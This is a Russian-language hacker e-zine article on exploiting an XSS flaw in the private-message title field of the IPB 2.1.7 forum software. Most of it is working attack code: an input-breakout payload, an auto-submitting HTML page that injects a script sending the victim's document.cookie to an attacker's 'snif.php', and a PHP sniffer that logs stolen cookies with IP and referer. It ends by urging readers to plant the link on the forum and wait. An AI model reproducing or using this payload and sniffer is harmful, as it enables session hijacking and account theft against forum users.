Дело было днем, 2 часа осталось
перед докладом о методах сетевых атак, а достойного примера "XSS" уязвимости
найдено не было… Чтобы как-то отвлечься от этой
проблемы, я отправился на местный форум.
Он держался на IPB v.2.1.7
– последняя версия на данный момент. Я почитал форум и отправился посмотреть на
письма, которые ждали меня в личке. На 1 из них я
решил ответить, причем чтобы не затруднять себя придумыванием темы решил
сделать ее в виде ссылки, так как ответить я должен был, что-то в виде: смотри
вот эту ссылку. Забыв, что я на форуме я написал тэг ссылки в привычном мне HTML виде. Письмо получилось следующее :
Заголовок :
<a href=”http://site.com”>Смотри тут</a>
Тест: Сабж
Какого
же было мое удивление, когда я нажал предварительный просмотр.

Из скриншота
видно, что именно меня заинтересовало. То, что я ввел встроилось
в html-код. Чтобы понять,
как это произошло, я стал смотреть исходный код страницы:
<input type="text"
name="msg_title" size="40" tabindex="3"
maxlength="40" value="<a href="http://site.com">Смотри тут</a>" /> . Как видим
то, что я ввел, внедрилось в html-код без изменения, спецсимволы не
проходили фильтрацию.
Теперь посмотрим что мы можем сделать: как видим перед input’om идет открытая
кавычка, не долго думая я решил закрыть ее, а заодно и
сам тэг инпута. А затем написать свой тег. Для
проверки я сделал стандартный JavaScript alert.
В конечном итоге мой заголовок темы выглядел таким образом :
"><script>alert("Hi");</script>
после нажатия предварительный просмотр произошло то чего я и
ждал :

Страничка радостно здоровалась со мной.
Смотрим исходный код, как и ожидалось текст принял следующий
вид :
<pre>
<input
type="text" name="msg_title" size="40"
tabindex="3" maxlength="40" value="">
<script>alert("Hi");</script>/>
</pre>
Как видим, внедрение прошло удачно ;)
Но тут нас ждет небольшое разочарование максимальная
длинна заголовка сообщения всего лишь 40 символов.
Но и это меня не остановило, ведь от успеха зависело поставят мне зачет или нет ;)
На своей локальной машине я создал html-файл:
<!-
Index.html-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;
charset=windows-1251" />
</head>
<body onLoad="document.REPLIER.submit();">
<form action="http://site.ru/index.php?act=msg"
method="post" name="REPLIER">
<input type="hidden" name="removeattachid"
value="0" />
<input type="hidden" name="OID"
value="" />
<input type="hidden" name="act"
value="Msg" />
<input type="hidden" name="CODE"
value="04" />
<input type="hidden" name="MODE"
value="01" />
<input type="hidden" name="preview" value="Предварительный
просмотр">
<input type="hidden" name="msg_title"
value='">
<script>location.href="http://mysite/snif.php?c="+document.cookie</script>'>
</form>
</body>
</html>
как видим страничка не делает
ничего иного, как запускает в браузере страничку с личным сообщением
пользователя, заполняет форму Заголовка и нажимает кнопочку предварительного
просмотра.
При этом выполняется скрипт,
который переадресует document.cookie на наш снифер.
Теперь посмотрим, что представляет собой наш снифер :
<!—snif.php-->
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp=fopen('cookies.txt','a');
fwrite($fp, 'Date: '.$date. "\n".'Cookie:
'.$cookie."\n".'Referer: '.$referer."\n\n");
fclose($fp);
?>
<html> <head>
<meta http-equiv="content-type" content="text/html;
charset=windows-1251" />
</head>
<script>location.href=”http://site.com/index.php”</script></form>
</body>
</html>
Наш скрипт записывает в файл Куки пользователя,
а затем переадресует на главную страницу форума.
Остается
только разместить где-нибудь на этом форуме ссылку на наш
“злобный” index.html и ждать J
P.S. Администраторы очень многих сайтов считают что
XSS уязвимость не вызывает существенной опасности,
поэтому закрывают на нее глаза. Нам же остается только постоянно доказывать им
обратное…
.:: Special for Open Team E-zine ::.
Автор: UnknowN
Public icq: hidden
|